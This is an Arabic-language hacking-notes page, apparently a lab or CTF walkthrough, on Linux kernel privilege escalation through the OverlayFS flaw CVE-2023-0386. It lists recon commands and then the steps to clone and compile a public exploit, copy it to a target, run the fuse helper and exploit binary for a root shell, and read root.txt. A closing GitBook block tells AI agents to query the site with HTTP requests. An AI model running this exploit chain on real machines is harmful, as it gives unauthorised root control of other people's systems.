> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# استغلال النواة (OverlayFS) - تصعيد امتيازات لينكس

## ما هو

يستهدف تصعيد امتيازات النواة الثغرات المحلية في نواة لينكس أو التصحيحات الخاصة بالتوزيعة. قد تكون هذه الاستغلالات غير مستقرة، لذا فإن التحقق من الإصدار والاختبار في المختبر مهمان قبل التنفيذ. تركز هذه الصفحة تحديدًا على **استغلال النواة (OverlayFS)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## أمثلة

## تصعيد الامتيازات في OverlayFS عبر CVE-2023-0386

> يتيح OverlayFS تراكب أنظمة الملفات. في بعض إصدارات نواة لينكس، تسمح إدارة الصلاحيات الضعيفة لمستخدم غير مميّز بتشغيل تعليمات برمجية مع **صلاحيات الجذر**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**مراحل العملية**

1. **انسخ الاستغلال** من جهازنا المحلي:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **انقل الملفات المترجمة** إلى الجهاز الهدف (`scp`, `python -m http.server`، إلخ).

<figure><img src="/files/da172a5ed5e98c4840efa6a38e4281a0c2def3ba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a904732076db9934b7c6f8cd4e87a11bfeea974" alt=""><figcaption></figcaption></figure>

2. **على الجهاز الهدف**، شغّل في **طرفيتين**:

* الطرفية A :

```bash
./fuse ./ovlcap/lower ./gc
```

* الطرفية B :

```bash
./exp
```

إذا سار كل شيء على ما يرام، فسنحصل على غلاف طرفي **root**

<figure><img src="/files/54a06b89825208cc74f6fc1564694f2decfd0e2b" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/db9be4d46b9d54762e2ebbb4b1c9e3db0c5372ca" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
